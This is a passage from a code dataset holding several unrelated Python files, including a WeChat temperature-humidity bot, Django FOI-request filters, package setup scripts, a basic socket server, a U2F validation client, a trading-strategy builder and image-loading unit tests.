'filehelper'\n \n\"\"\"get hum and temp\"\"\"\ndef getDHTdata(): \n DHT22Sensor = Adafruit_DHT.DHT22\n DHTpin = 17\n hum, temp = Adafruit_DHT.read_retry(DHT22Sensor, DHTpin)\n \n if hum is not None and temp is not None:\n hum = round(hum)\n temp = round(temp, 1)\n return temp, hum\n\n\"\"\"listen for users to send msg and return dht\"\"\"\n@itchat.msg_register(itchat.content.TEXT,isGroupChat=True)\ndef reply_msg(msg):\n if msg['Content'] == u'温湿度':\n #if rooms is not None:\n #username = rooms[0]['UserName']\n temp, hum = getDHTdata()\n itchat.send_msg(\"温度:\" + str(temp) + \"℃\" + '\\n' + \"湿度:\" + str(hum) + \"%\",toUserName=username)\n \n\nif __name__ == '__main__':\n itchat.run()","sub_path":"wx_dht.py","file_name":"wx_dht.py","file_ext":"py","file_size_in_byte":1084,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"545398450","text":"from django.db.models import Q\nfrom django.utils import timezone\nfrom django.utils.translation import ugettext_lazy as _\n\nfrom taggit.models import Tag\nimport django_filters\n\nfrom froide.publicbody.models import PublicBody, Category, Jurisdiction\n\nfrom .models import FoiRequest\nfrom .widgets import DropDownFilterWidget\n\n\ndef resolution_filter(x):\n return Q(resolution=x)\n\n\ndef status_filter(x):\n return Q(status=x)\n\n\nFILTER_ORDER = ('jurisdiction', 'publicbody', 'status', 'topic', 'tag')\nSUB_FILTERS = {\n 'jurisdiction': ('status', 'topic', 'tag', 'publicbody')\n}\n\n\nFOIREQUEST_FILTERS = [\n (_(\"successful\"), resolution_filter, 'successful'),\n (_(\"partially-successful\"), resolution_filter,\n 'partially_successful'),\n (_(\"refused\"), resolution_filter, 'refused'),\n (_(\"withdrawn\"), resolution_filter, 'user_withdrew'),\n (_(\"withdrawn-costs\"), resolution_filter, 'user_withdrew_costs'),\n (_(\"awaiting-response\"), status_filter, 'awaiting_response'),\n (_(\"overdue\"), (lambda x:\n Q(due_date__lt=timezone.now()) & Q(status='awaiting_response')),\n 'overdue'),\n (_(\"asleep\"), status_filter, 'asleep'),\n (_(\"not-held\"), resolution_filter, 'not_held'),\n (_(\"has-fee\"), lambda x: Q(costs__gt=0), 'has_fee')\n]\n\nFOIREQUEST_FILTERS = [\n (x[0], x[1], x[2],\n FoiRequest.STATUS_RESOLUTION_DICT[x[2]][0],\n FoiRequest.STATUS_RESOLUTION_DICT[x[2]][1])\n for x in FOIREQUEST_FILTERS\n]\nFOIREQUEST_FILTER_CHOICES = [(x[0], x[3]) for x in FOIREQUEST_FILTERS]\nFOIREQUEST_FILTER_DICT = dict([(x[0], x[1:]) for x in FOIREQUEST_FILTERS])\nREVERSE_FILTER_DICT = dict([(x[2], x[:2] + x[3:]) for x in FOIREQUEST_FILTERS])\nFOIREQUEST_FILTER_RENDER = [(x[0], x[3], x[2]) for x in FOIREQUEST_FILTERS]\n\n\ndef get_active_filters(data):\n for key in FILTER_ORDER:\n if not data.get(key):\n continue\n yield key\n sub_filters = SUB_FILTERS.get(key, ())\n for sub_key in sub_filters:\n if data.get(sub_key):\n yield sub_key\n break\n break\n\n\ndef get_filter_data(filter_kwargs, data):\n query = {}\n for key in get_active_filters(filter_kwargs):\n query[key] = filter_kwargs[key]\n data.update(query)\n return data\n\n\nclass DropDownStatusFilterWidget(DropDownFilterWidget):\n def create_option(self, name, value, label, selected, index,\n subindex=None, attrs=None):\n option = super(DropDownStatusFilterWidget, self).create_option(\n name, value, label, selected, index, subindex=subindex, attrs=attrs)\n if value:\n status = FOIREQUEST_FILTER_DICT[value][1]\n option['icon'] = 'status-%s' % status\n return option\n\n\nclass FoiRequestFilterSet(django_filters.FilterSet):\n status = django_filters.ChoiceFilter(\n choices=FOIREQUEST_FILTER_CHOICES,\n widget=DropDownStatusFilterWidget(\n attrs={'label': _('By status')}\n ),\n method='filter_status',\n )\n jurisdiction = django_filters.ModelChoiceFilter(\n queryset=Jurisdiction.objects.get_visible(),\n to_field_name='slug',\n widget=DropDownFilterWidget(\n attrs={'label': _('By jurisdiction')}\n ),\n method='filter_jurisdiction'\n )\n topic = django_filters.ModelChoiceFilter(\n queryset=Category.objects.get_category_list(),\n to_field_name='slug',\n widget=DropDownFilterWidget(\n attrs={'label': _('By category')}\n ),\n method='filter_topic'\n )\n tag = django_filters.ModelChoiceFilter(\n queryset=Tag.objects.all(),\n to_field_name='slug',\n method='filter_tag'\n )\n publicbody = django_filters.ModelChoiceFilter(\n queryset=PublicBody.objects.all(),\n to_field_name='slug',\n method='filter_publicbody'\n )\n\n class Meta:\n model = FoiRequest\n fields = ['status', 'jurisdiction', 'topic', 'tag', 'publicbody']\n\n def filter_status(self, qs, name, value):\n parts = FOIREQUEST_FILTER_DICT[value]\n func = parts[0]\n status_name = parts[1]\n return qs.filter(func(status_name))\n\n def filter_jurisdiction(self, qs, name, value):\n return qs.filter(jurisdiction=value)\n\n def filter_topic(self, qs, name, value):\n return qs.filter(public_body__categories=value)\n\n def filter_tag(self, qs, name, value):\n return qs.filter(tags=value)\n\n def filter_publicbody(self, qs, name, value):\n return qs.filter(public_body=value)\n","sub_path":"froide/foirequest/filters.py","file_name":"filters.py","file_ext":"py","file_size_in_byte":4529,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"373358332","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nfrom setuptools import find_packages, setup\n\nNAME = 'hellofresh'\nDESCRIPTION = 'Hello Fresh Recipe Application'\nURL = 'https://github.com/hellofreshdevtests/vibhusharma94-api-test'\nEMAIL = 'vibhuindian@gmail.com'\nAUTHOR = 'Vibhu Sharma'\n\n\ndef get_requirements(env):\n with open('requirements/{}.txt'.format(env)) as fp:\n return [x.strip() for x in fp.read().split('\\n') if not x.startswith('#')]\n\n\ninstall_requires = get_requirements('base')\n\nsetup(\n name=NAME,\n version=0.1,\n description=DESCRIPTION,\n author=AUTHOR,\n author_email=EMAIL,\n url=URL,\n packages=find_packages('src'),\n package_dir={'': 'src'},\n install_requires=install_requires,\n\n)\n","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":729,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"563870343","text":"from mako import runtime, filters, cache\nUNDEFINED = runtime.UNDEFINED\n__M_dict_builtin = dict\n__M_locals_builtin = locals\n_magic_number = 5\n_modified_time = 1265331021.571032\n_template_filename='/home/bdrydyk/Development/Pylons/RomnyWeb/romnyweb/templates/add_process.mako'\n_template_uri='/add_process.mako'\n_template_cache=cache.Cache(__name__, _modified_time)\n_source_encoding='utf-8'\nfrom webhelpers.html import escape\n_exports = []\n\n\n# SOURCE LINE 1\n \n\ndef render_body(context,**pageargs):\n context.caller_stack._push_frame()\n try:\n __M_locals = __M_dict_builtin(pageargs=pageargs)\n c = context.get('c', UNDEFINED)\n dict = context.get('dict', UNDEFINED)\n __M_writer = context.writer()\n __M_writer(u'\\n\\n\\n Process\\n \\n \\n \\n

Add Process

\\n ')\n # SOURCE LINE 40\n __M_writer(c.process_form(dict(sample_id=c.sample_id)))\n __M_writer(u'\\n \\n\\n')\n return ''\n finally:\n context.caller_stack._pop_frame()\n\n\n","sub_path":"data/templates/add_process.mako.py","file_name":"add_process.mako.py","file_ext":"py","file_size_in_byte":1627,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"35700744","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu Dec 22 23:55:13 2016\n\n@author: Vinay\n\"\"\"\n# Importing libraries\nimport socket\n\n#create a socket\nserver_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n\n#get local host name\nhost = socket.gethostname()\n\nport = 9998\n\n#bind to port\nserver_socket.bind((host,port))\n\n#init queue\nserver_socket.listen(5)\n\nwhile True:\n #establihing the connection\n client_socket,addr = server_socket.accept()\n print(\"Connection from %s\" %str(addr))\n data = client_socket.recv(1024)\n print(data)\n client_socket.close()\n","sub_path":"server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":588,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"282366730","text":"#!/usr/bin/env python \nimport rospy\nimport tf\n\nclass get_cam_tf:\n '''Initializing this class will read the transformation from base_footprint to camera_pose\n It is stored in self.trans and self.rot, and this happens in parallel to subsequent commands'''\n def __init__(self, doWait=True):\n self.listen = tf.TransformListener()\n self.timer = rospy.Timer( rospy.Duration(0.1), self.read ) #calls read() every 0.1 sec\n self.trans = [] #translation will be filled as list: [tx,ty,tz]\n self.rot = [] #rotation will be filled as quaternion list: [qx,qy,qz,qw]\n if doWait:\n self.wait() #Wait until got transform before doing anything else\n\n def read(self, timer_event):\n timeout = rospy.Duration(0.9)\n try: \n self.listen.waitForTransform(\"base_footprint\", \"camera_pose\", rospy.Time.now(), timeout)\n self.trans, self.rot = self.listen.lookupTransform(\"base_footprint\", \"camera_pose\", rospy.Time(0))\n rospy.loginfo('Obtained transformation base_footprint --> camera_pose')\n #Note: it is necessary to use Time(0) here, as this tells the listener to get the latest\n self.timer.shutdown() # Done so stop timer -- can now use self.trans and self.rot\n except:\n pass\n def wait(self):\n rate = rospy.Rate(4)\n if not self.trans:\n rospy.loginfo('Waiting for base_footprint and camera_pose')\n while not self.trans:\n rate.sleep()\n\nif __name__ == '__main__': \n ''' Example node to read in transformation from base_footprint to camera_pose'''\n rospy.init_node('tf_reader')\n camtf = get_cam_tf(False)\n rospy.loginfo('Trans: ' + str(camtf.trans) + ', Rot: ' + str(camtf.rot) )\n rospy.sleep(1.) #Note: it takes a little while to initialize the transforms, as illustrated here\n rospy.loginfo('Trans: ' + str(camtf.trans) + ', Rot: ' + str(camtf.rot) )\n rospy.sleep(1.)\n","sub_path":"walter_lee/src/parking/readtf.py","file_name":"readtf.py","file_ext":"py","file_size_in_byte":1976,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"461779027","text":"import random\nfrom types import MethodType\n\nfrom foba.utils import FooDict\nfrom foba.vectors.vector_numbers.functions import \\\n absolute_mirror, \\\n compound_interest, \\\n fibonacci, \\\n hansen_samuelson, \\\n leonardo, \\\n primes\n\nvector_collection = FooDict({\n 'absolute_mirror': absolute_mirror,\n 'compound_interest': compound_interest,\n 'fibonacci': fibonacci,\n 'hansen_samuelson': hansen_samuelson,\n 'leonardo': leonardo,\n 'primes': primes,\n})\n\n\ndef flop_shuffle(self, length=3):\n k, fn = random.choice(list(self.items()))\n return k, fn(length)\n\n\nvector_collection.flop_shuffle = MethodType(flop_shuffle, vector_collection)\n","sub_path":"foba/vectors/vector_numbers/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":665,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"77623560","text":"from model import Rule, Strategy\nfrom model.param import IndicatorParam, CCIParam, OpenPositionParam, ClosePositionParam\nfrom config import CLOSE, BULLISH, TI_CCI\n\nclass CCIBullishStrategyCreator():\n \n def __init__(self, period=20, ground=-100, sky=100, stop_gain=None, stop_loss=None, rebound_channel=None):\n self.period = period\n self.ground = ground\n self.sky = sky\n self.stop_gain = stop_gain\n self.stop_loss = stop_loss\n self.rebound_channel = rebound_channel\n \n def create(self):\n \n basic_open_rule = self.basic_open_rule()\n open_position_param = OpenPositionParam(rules=[basic_open_rule])\n\n close_position_rules = []\n\n close_position_rules.append(self.basic_close_rule())\n close_position_rules.append(self.rebound_ground_exit_rule())\n if self.stop_gain:\n close_position_rules.append(self.stop_gain_rule())\n if self.stop_loss:\n close_position_rules.append(self.stop_loss_rule())\n if self.rebound_channel:\n close_position_rules.append(self.rebound_channel_rule())\n\n close_position_param = ClosePositionParam(rules=close_position_rules)\n\n return Strategy('CCI_bull_strategy', open_position_param, close_position_param, BULLISH)\n\n def basic_open_rule(self):\n rule = Rule(\n name = 'basic_open_pos', \n indicators_param = [CCIParam(self.period, 0.015)],\n ref = {TI_CCI: TI_CCI},\n f = lambda data, ref, entry_i, i: (data.at[i-1, ref[TI_CCI]] < self.ground) & (data.at[i, ref[TI_CCI]] > self.ground)\n )\n return rule\n\n def basic_close_rule(self):\n rule = Rule(\n name = 'basic_close_pos', \n indicators_param = [CCIParam(self.period, 0.015)],\n ref = {TI_CCI: TI_CCI},\n f = lambda data, ref, entry_i, i: (data.at[i-1, ref[TI_CCI]] < self.sky) & (data.at[i, ref[TI_CCI]] > self.sky)\n )\n return rule\n\n def rebound_ground_exit_rule(self):\n rule = Rule(\n name = 'rebound_ground_exit',\n indicators_param = [CCIParam(self.period, 0.015)],\n ref = {TI_CCI: TI_CCI},\n f = lambda data, ref, entry_i, i: (data.at[i-1, ref[TI_CCI]] > self.ground) & (data.at[i, ref[TI_CCI]] < self.ground)\n )\n return rule\n\n def stop_gain_rule(self):\n if abs(self.stop_gain) < 1:\n f = lambda data, ref, entry_i, i: (data.at[i, CLOSE] - data.at[entry_i, CLOSE]) / data.at[entry_i, CLOSE] > self.stop_gain\n else:\n f = lambda data, ref, entry_i, i: (data.at[i, CLOSE] - data.at[entry_i, CLOSE]) > self.stop_gain\n rule = Rule(\n name = 'stop_gain', \n indicators_param = [IndicatorParam(CLOSE)], \n ref = {CLOSE: CLOSE}, \n f = f\n )\n return rule\n\n def stop_loss_rule(self):\n if abs(self.stop_loss) < 1:\n f = lambda data, ref, entry_i, i: (data.at[i, CLOSE] - data.at[entry_i, CLOSE]) / data.at[entry_i, CLOSE] < self.stop_loss\n else:\n f = lambda data, ref, entry_i, i: (data.at[i, CLOSE] - data.at[entry_i, CLOSE]) < self.stop_loss\n rule = Rule(\n name = 'stop_loss', \n indicators_param = [IndicatorParam(CLOSE)], \n ref = {CLOSE: CLOSE}, \n f = f\n )\n return rule\n\n def rebound_channel_rule(self):\n first_gate = self.ground + (self.sky - self.ground) * self.rebound_channel[0]\n second_gate = self.ground + (self.sky - self.ground) * self.rebound_channel[1]\n rule = Rule(\n name = 'rebound_channel_exit',\n indicators_param = [CCIParam(self.period, 0.015)],\n ref = {TI_CCI: TI_CCI},\n f = lambda data, ref, entry_i, i: ((data[entry_i:i][data[ref[TI_CCI]] > first_gate].shape[0] > 0) & (data.at[i, ref[TI_CCI]] < second_gate))\n )\n return rule","sub_path":"preset_strategy/cci_bullish_strategy_creator.py","file_name":"cci_bullish_strategy_creator.py","file_ext":"py","file_size_in_byte":3947,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"532185519","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n#\n# This software is licensed as described in the README.rst and LICENSE\n# files, which you should have received as part of this distribution.\nimport os\nimport sys\n\ntry:\n from setuptools import setup\nexcept ImportError:\n from distutils.core import setup\n\n# noinspection PyPep8Naming\nfrom rpi_dht import __version__ as VERSION\n\nread = lambda fname: open(os.path.join(os.path.dirname(__file__), fname)).read()\n\nDEPS = ['Adafruit_Python_DHT', 'RPi.Sensor',]\n\nCLASSIFIERS = [\n 'Environment :: Console',\n 'Intended Audience :: System Administrators',\n 'Intended Audience :: Developers',\n 'Operating System :: Unix',\n 'Operating System :: POSIX :: Linux',\n 'License :: OSI Approved :: MIT License',\n 'Programming Language :: Python',\n 'Programming Language :: Python :: 2',\n 'Programming Language :: Python :: 3',\n 'Development Status :: 3 - Alpha',\n 'Topic :: Utilities'\n]\n\npackages = [\n 'rpi_dht',\n]\n\nsetup(\n name='RPi.DHT',\n version=VERSION,\n description='Python implementation for Adafruit_DHT sensor for Raspberry Pi.',\n long_description=read('README.rst'),\n author='Richard Kellner',\n author_email='richard.kellner [at] gmail.com',\n url='https://github.com/ricco386/RPi.DHT',\n license='MIT',\n packages=packages,\n scripts=['bin/rpi-dht'],\n install_requires=DEPS,\n platforms='any',\n classifiers=CLASSIFIERS,\n include_package_data=True\n)\n","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1465,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"509987548","text":"import sys\r\nimport string\r\n\r\nfrom tokenization import tokenization, stopwordRemoval, stemming, checkArgs, top200WordFreq\r\n\r\nwith open(sys.argv[1], \"r\") as f:\r\n text = f.readlines()\r\n\r\ncheckArgs()\r\ntokeninzedArr = []\r\ntokenizedArr = tokenization(text)\r\ntokenizedArr = stopwordRemoval(tokenizedArr)\r\ntokenizedArr = stemming(tokenizedArr)\r\nfreqWords = top200WordFreq(tokenizedArr)\r\nfor word in freqWords:\r\n print(word + ' ' + str(freqWords[word]))","sub_path":"src/PartB.py","file_name":"PartB.py","file_ext":"py","file_size_in_byte":450,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"362741051","text":"# Copyright (c) 2014 Yubico AB\n# All rights reserved.\n#\n# Redistribution and use in source and binary forms, with or\n# without modification, are permitted provided that the following\n# conditions are met:\n#\n# 1. Redistributions of source code must retain the above copyright\n# notice, this list of conditions and the following disclaimer.\n# 2. Redistributions in binary form must reproduce the above\n# copyright notice, this list of conditions and the following\n# disclaimer in the documentation and/or other materials provided\n# with the distribution.\n#\n# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\n# \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\n# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS\n# FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE\n# COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,\n# INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,\n# BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;\n# LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER\n# CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT\n# LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN\n# ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\n# POSSIBILITY OF SUCH DAMAGE.\n\nfrom u2fval_client import auth, exc\nimport requests\nimport json as _json\n\n\nclass Client(object):\n\n def __init__(self, endpoint, auth=auth.no_auth):\n if endpoint[-1] != '/':\n endpoint = endpoint + '/'\n self._endpoint = endpoint\n self._auth = auth\n\n def _req(self, method, url, json=None, **kwargs):\n kwargs = self._auth(kwargs)\n if json is not None:\n headers = kwargs.get('headers', {})\n headers['Content-type'] = 'application/json'\n kwargs['headers'] = headers\n kwargs['data'] = _json.dumps(json)\n try:\n resp = requests.request(method, url, **kwargs)\n status = resp.status_code\n try:\n data = resp.json()\n except ValueError:\n data = {}\n if 'errorCode' in data:\n raise exc.from_response(data)\n if status < 400:\n return data\n elif status == 401:\n raise exc.BadAuthException('Access denied')\n elif status == 404:\n raise exc.U2fValClientException('Not found')\n else:\n raise exc.U2fValClientException('Unknown error')\n except requests.ConnectionError as e:\n raise exc.ServerUnreachableException(e.message)\n\n def get_trusted_facets(self):\n return self._req('GET', self._endpoint)\n\n def list_devices(self, username):\n url = self._endpoint + username + '/'\n return self._req('GET', url)\n\n def register_begin(self, username):\n url = self._endpoint + username + '/register'\n return self._req('GET', url)\n\n def register_complete(self, username, register_response, properties=None):\n url = self._endpoint + username + '/register'\n data = {'registerResponse': _json.loads(register_response)}\n if properties:\n data['properties'] = properties\n\n return self._req('POST', url, json=data)\n\n def unregister(self, username, handle):\n url = self._endpoint + username + '/' + handle\n return self._req('DELETE', url)\n\n def auth_begin(self, username):\n url = self._endpoint + username + '/authenticate'\n return self._req('GET', url)\n\n def auth_complete(self, username, authenticate_response, properties=None):\n url = self._endpoint + username + '/authenticate'\n data = {'authenticateResponse': _json.loads(authenticate_response)}\n if properties:\n data['properties'] = properties\n return self._req('POST', url, json=data)\n","sub_path":"u2fval_client/client.py","file_name":"client.py","file_ext":"py","file_size_in_byte":3955,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"376936072","text":"import os\nimport unittest\nfrom nose.tools import assert_equals, assert_true\nfrom numpy import arange, array, array_equal, mod\nfrom numpy import dtype as dtypeFunc\n\nfrom test_utils import PySparkTestCaseWithOutputDir\nfrom thunder import ThunderContext\n\n_have_image = False\ntry:\n from PIL import Image\n _have_image = True\nexcept ImportError:\n # PIL not available; skip tests that require it\n Image = None\n\n\nclass TestContextLoading(PySparkTestCaseWithOutputDir):\n def setUp(self):\n super(TestContextLoading, self).setUp()\n self.tsc = ThunderContext(self.sc)\n\n @staticmethod\n def _findTestResourcesDir(resourcesDirName=\"resources\"):\n testDirPath = os.path.dirname(os.path.realpath(__file__))\n testResourcesDirPath = os.path.join(testDirPath, resourcesDirName)\n if not os.path.isdir(testResourcesDirPath):\n raise IOError(\"Test resources directory \"+testResourcesDirPath+\" not found\")\n return testResourcesDirPath\n\n def __run_loadStacksAsSeries(self, shuffle):\n rangeAry = arange(64*128, dtype=dtypeFunc('int16'))\n filePath = os.path.join(self.outputdir, \"rangeary.stack\")\n rangeAry.tofile(filePath)\n expectedAry = rangeAry.reshape((128, 64), order='F')\n\n rangeSeries = self.tsc.loadImagesAsSeries(filePath, dims=(128, 64), shuffle=shuffle)\n assert_equals('float32', rangeSeries._dtype) # check before any potential first() calls update this val\n rangeSeriesAry = rangeSeries.pack()\n\n assert_equals((128, 64), rangeSeries.dims.count)\n assert_equals((128, 64), rangeSeriesAry.shape)\n assert_equals('float32', str(rangeSeriesAry.dtype))\n assert_true(array_equal(expectedAry, rangeSeriesAry))\n\n def test_loadStacksAsSeriesNoShuffle(self):\n self.__run_loadStacksAsSeries(False)\n\n def test_loadStacksAsSeriesWithShuffle(self):\n self.__run_loadStacksAsSeries(True)\n\n def __run_load3dStackAsSeries(self, shuffle):\n rangeAry = arange(32*64*4, dtype=dtypeFunc('int16'))\n filePath = os.path.join(self.outputdir, \"rangeary.stack\")\n rangeAry.tofile(filePath)\n expectedAry = rangeAry.reshape((32, 64, 4), order='F')\n\n rangeSeries = self.tsc.loadImagesAsSeries(filePath, dims=(32, 64, 4), shuffle=shuffle)\n assert_equals('float32', rangeSeries._dtype)\n rangeSeriesAry = rangeSeries.pack()\n\n assert_equals((32, 64, 4), rangeSeries.dims.count)\n assert_equals((32, 64, 4), rangeSeriesAry.shape)\n assert_equals('float32', str(rangeSeriesAry.dtype))\n assert_true(array_equal(expectedAry, rangeSeriesAry))\n\n def test_load3dStackAsSeriesNoShuffle(self):\n self.__run_load3dStackAsSeries(False)\n\n def test_load3dStackAsSeriesWithShuffle(self):\n self.__run_load3dStackAsSeries(True)\n\n def __run_loadMultipleStacksAsSeries(self, shuffle):\n rangeAry = arange(64*128, dtype=dtypeFunc('int16'))\n filePath = os.path.join(self.outputdir, \"rangeary01.stack\")\n rangeAry.tofile(filePath)\n expectedAry = rangeAry.reshape((128, 64), order='F')\n rangeAry2 = arange(64*128, 2*64*128, dtype=dtypeFunc('int16'))\n filePath = os.path.join(self.outputdir, \"rangeary02.stack\")\n rangeAry2.tofile(filePath)\n expectedAry2 = rangeAry2.reshape((128, 64), order='F')\n\n rangeSeries = self.tsc.loadImagesAsSeries(self.outputdir, dims=(128, 64), shuffle=shuffle)\n assert_equals('float32', rangeSeries._dtype)\n\n rangeSeriesAry = rangeSeries.pack()\n rangeSeriesAry_xpose = rangeSeries.pack(transpose=True)\n\n assert_equals((128, 64), rangeSeries.dims.count)\n assert_equals((2, 128, 64), rangeSeriesAry.shape)\n assert_equals((2, 64, 128), rangeSeriesAry_xpose.shape)\n assert_equals('float32', str(rangeSeriesAry.dtype))\n assert_true(array_equal(expectedAry, rangeSeriesAry[0]))\n assert_true(array_equal(expectedAry2, rangeSeriesAry[1]))\n assert_true(array_equal(expectedAry.T, rangeSeriesAry_xpose[0]))\n assert_true(array_equal(expectedAry2.T, rangeSeriesAry_xpose[1]))\n\n def test_loadMultipleStacksAsSeriesNoShuffle(self):\n self.__run_loadMultipleStacksAsSeries(False)\n\n def test_loadMultipleStacksAsSeriesWithShuffle(self):\n self.__run_loadMultipleStacksAsSeries(True)\n\n def test_loadMultipleMultipointStacksAsSeries(self):\n rangeAry = arange(64*128, dtype=dtypeFunc('int16'))\n filePath = os.path.join(self.outputdir, \"rangeary01.stack\")\n rangeAry.tofile(filePath)\n expectedAry = rangeAry.reshape((32, 32, 8), order='F')\n rangeAry2 = arange(64*128, 2*64*128, dtype=dtypeFunc('int16'))\n filePath = os.path.join(self.outputdir, \"rangeary02.stack\")\n rangeAry2.tofile(filePath)\n expectedAry2 = rangeAry2.reshape((32, 32, 8), order='F')\n\n rangeSeries = self.tsc.loadImagesAsSeries(self.outputdir, dims=(32, 32, 8), nplanes=2, shuffle=True)\n assert_equals('float32', rangeSeries._dtype)\n\n rangeSeriesAry = rangeSeries.pack()\n\n assert_equals((32, 32, 2), rangeSeries.dims.count)\n assert_equals((8, 32, 32, 2), rangeSeriesAry.shape)\n assert_equals('float32', str(rangeSeriesAry.dtype))\n assert_true(array_equal(expectedAry[:, :, :2], rangeSeriesAry[0]))\n assert_true(array_equal(expectedAry[:, :, 2:4], rangeSeriesAry[1]))\n assert_true(array_equal(expectedAry[:, :, 4:6], rangeSeriesAry[2]))\n assert_true(array_equal(expectedAry[:, :, 6:], rangeSeriesAry[3]))\n assert_true(array_equal(expectedAry2[:, :, :2], rangeSeriesAry[4]))\n assert_true(array_equal(expectedAry2[:, :, 2:4], rangeSeriesAry[5]))\n assert_true(array_equal(expectedAry2[:, :, 4:6], rangeSeriesAry[6]))\n assert_true(array_equal(expectedAry2[:, :, 6:], rangeSeriesAry[7]))\n\n def __run_loadTifAsSeries(self, shuffle):\n tmpAry = arange(60*120, dtype=dtypeFunc('uint16'))\n rangeAry = mod(tmpAry, 255).astype('uint8').reshape((60, 120))\n pilImg = Image.fromarray(rangeAry)\n filePath = os.path.join(self.outputdir, \"rangetif01.tif\")\n pilImg.save(filePath)\n del pilImg, tmpAry\n\n rangeSeries = self.tsc.loadImagesAsSeries(self.outputdir, inputFormat=\"tif-stack\", shuffle=shuffle)\n assert_equals('float16', rangeSeries._dtype) # check before any potential first() calls update this val\n rangeSeriesAry = rangeSeries.pack()\n\n assert_equals((60, 120), rangeSeries.dims.count) # 2d tif now loaded as 2d image; was 3d with singleton z dim\n assert_equals((60, 120), rangeSeriesAry.shape)\n assert_equals('float16', str(rangeSeriesAry.dtype))\n assert_true(array_equal(rangeAry, rangeSeriesAry))\n\n @unittest.skipIf(not _have_image, \"PIL/pillow not installed or not functional\")\n def test_loadTifAsSeriesNoShuffle(self):\n self.__run_loadTifAsSeries(False)\n\n @unittest.skipIf(not _have_image, \"PIL/pillow not installed or not functional\")\n def test_loadTifAsSeriesWithShuffle(self):\n self.__run_loadTifAsSeries(True)\n\n def __run_loadTestTifAsSeries(self, shuffle):\n testResourcesDir = TestContextLoading._findTestResourcesDir()\n imagePath = os.path.join(testResourcesDir, \"multilayer_tif\", \"dotdotdot_lzw.tif\")\n\n testimg_pil = Image.open(imagePath)\n testimg_arys = list()\n testimg_arys.append(array(testimg_pil)) # original shape 70, 75\n testimg_pil.seek(1)\n testimg_arys.append(array(testimg_pil))\n testimg_pil.seek(2)\n testimg_arys.append(array(testimg_pil))\n\n rangeSeries = self.tsc.loadImagesAsSeries(imagePath, inputFormat=\"tif-stack\", shuffle=shuffle)\n assert_true(rangeSeries._dtype.startswith(\"float\"))\n rangeSeriesAry = rangeSeries.pack()\n rangeSeriesAry_xpose = rangeSeries.pack(transpose=True)\n\n assert_equals((70, 75, 3), rangeSeries.dims.count)\n assert_equals((70, 75, 3), rangeSeriesAry.shape)\n assert_equals((3, 75, 70), rangeSeriesAry_xpose.shape)\n assert_true(rangeSeriesAry.dtype.kind == \"f\")\n assert_true(array_equal(testimg_arys[0], rangeSeriesAry[:, :, 0]))\n assert_true(array_equal(testimg_arys[1], rangeSeriesAry[:, :, 1]))\n assert_true(array_equal(testimg_arys[2], rangeSeriesAry[:, :, 2]))\n assert_true(array_equal(testimg_arys[0].T, rangeSeriesAry_xpose[0]))\n assert_true(array_equal(testimg_arys[1].T, rangeSeriesAry_xpose[1]))\n assert_true(array_equal(testimg_arys[2].T, rangeSeriesAry_xpose[2]))\n\n @unittest.skipIf(not _have_image, \"PIL/pillow not installed or not functional\")\n def test_loadTestTifAsSeriesNoShuffle(self):\n self.__run_loadTestTifAsSeries(False)\n\n @unittest.skipIf(not _have_image, \"PIL/pillow not installed or not functional\")\n def test_loadTestTifAsSeriesWithShuffle(self):\n self.__run_loadTestTifAsSeries(True)\n\n def __run_loadMultipleTifsAsSeries(self, shuffle):\n tmpAry = arange(60*120, dtype=dtypeFunc('uint16'))\n rangeAry = mod(tmpAry, 255).astype('uint8').reshape((60, 120))\n pilImg = Image.fromarray(rangeAry)\n filePath = os.path.join(self.outputdir, \"rangetif01.tif\")\n pilImg.save(filePath)\n\n tmpAry = arange(60*120, 2*60*120, dtype=dtypeFunc('uint16'))\n rangeAry2 = mod(tmpAry, 255).astype('uint8').reshape((60, 120))\n pilImg = Image.fromarray(rangeAry2)\n filePath = os.path.join(self.outputdir, \"rangetif02.tif\")\n pilImg.save(filePath)\n\n del pilImg, tmpAry\n\n rangeSeries = self.tsc.loadImagesAsSeries(self.outputdir, inputFormat=\"tif-stack\", shuffle=shuffle)\n assert_equals('float16', 